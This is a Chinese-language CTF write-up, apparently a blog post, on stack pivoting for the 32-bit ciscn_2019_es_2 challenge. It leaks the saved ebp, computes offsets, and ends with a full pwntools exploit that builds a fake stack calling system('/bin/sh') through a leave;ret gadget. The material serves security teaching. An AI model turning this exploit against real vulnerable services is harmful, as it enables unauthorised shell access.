栈迁移(以ciscn_2019_es_2为例,详细分析)

开始:

首先看一下保护机制:

 

 再打开IDA看看:

 有明显的栈溢出,但是溢出的不多,考虑栈迁移
一开始我想的是把栈迁移到bss段中去,恰好bss段也有可读可写的段空间

但是由于溢出的空间实在太小,因此我们不能有充足的空间去布置我们的bss段的内容,我认为最少要有4*4=16字节(32位),才能够布置bss段
 

很明显这是完全不够的,我们再次观察IDA反编译的内容,我们发现可以栈溢出+输出字符串的组合,而且读了两次,这时我们就可以考虑劫持eip到我们精心布置的栈内容。那么我们有两条路,一是往栈上填充shellcode,然后劫持eip到栈中执行shellcode,二是往栈上填充内容,使得执行system("/bin/sh")。
 但是可以观察到的是,我们的栈没有可执行的权限,因此我们只能选择第二条路,就是想办法劫持程序流去执行system('/bin/sh')

 

 看了一下,程序中存在system函数,但是不存在/bin/sh,不过问题不大,我们可以自己写入。

首先我们要看看在退出vul()函数栈帧的一个变化情况。这个我们可以用gdb看看。

 此时ebp所指向的内容是old_ebp的地址,我们可以靠%s输出来(%s没有/x00/x00是不会停止输出的),一旦我们获得old_ebp,通过观察上图我们可以知道,vul()函数里的ebp是比old_ebp要低0x10个字节的,而我们输入的数据位置(也就是'aaaa'),距离ebp的位置是低0x28个字节,这就是我们将要迁移到的目的地。

开始构造攻击脚本:

泄露得到old_ebp地址

payload1 = b'A' * (0x27) + b'B'
io.send(payload1)
io.recvuntil(b'B')
old_ebp_addr=u32(io.recv(4))

 计算出vul()的ebp地址,进而得到数据输入处的地址。

ebp_addr=old_ebp_addr-0x10
stdin_addr=ebp_addr-0x28

然后就是布置栈内容了

leave_ret=0x080484b8  #从ropgadget里找到的
payload=b'aaaa'+p32(elf.symbols['system'])+p32(0)+p32(stdin_addr+0x10)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'a')
payload+=p32(stdin_addr)+p32(leave_ret)
io.send(payload)

这里解释下为什么是stdin_add+0x10,这也是我一开始最疑惑的地方,看了很多博客也没懂 
这里的stdin_addr其实指向的是我们刚刚写入的''/bin/sh” 的首地址,给system()函数提供参数,但是也许有人要问的是,那为什么不把’/bin/sh‘直接写在system函数的参数位?
这是因为如果直接写在参数位,因为在32位中,参数位实际上存的是'/bin'这四个字节的数据,剩下的内容被存在了下一个地址,把参数给分开存储了,而参数位只有一个,因此不能一次性把/bin/sh当做参数,因此我们要放进去一个指针,指向的是/bin/sh的地址,这样system函数就可以接收到完整的/bin/sh了。

以下是完整的exp:

from pwn import *
context(os="linux", arch="i386",log_level="debug")
elf = ELF('./buu')
io=process("./buu")
#gdb.attach(io,'b *0x80485BE')
from LibcSearcher import *

payload1 = b'A' * (0x27) + b'B'
io.send(payload1)
io.recvuntil(b'B')
old_ebp_addr=u32(io.recv(4))
ebp_addr=old_ebp_addr-0x10
stdin_addr=ebp_addr-0x28

leave_ret=0x080484b8
payload=b'aaaa'+p32(elf.symbols['system'])+p32(0)+p32(stdin_addr+0x10)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'a')
payload+=p32(stdin_addr)+p32(leave_ret)
io.send(payload)

io.interactive()

 

 


 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值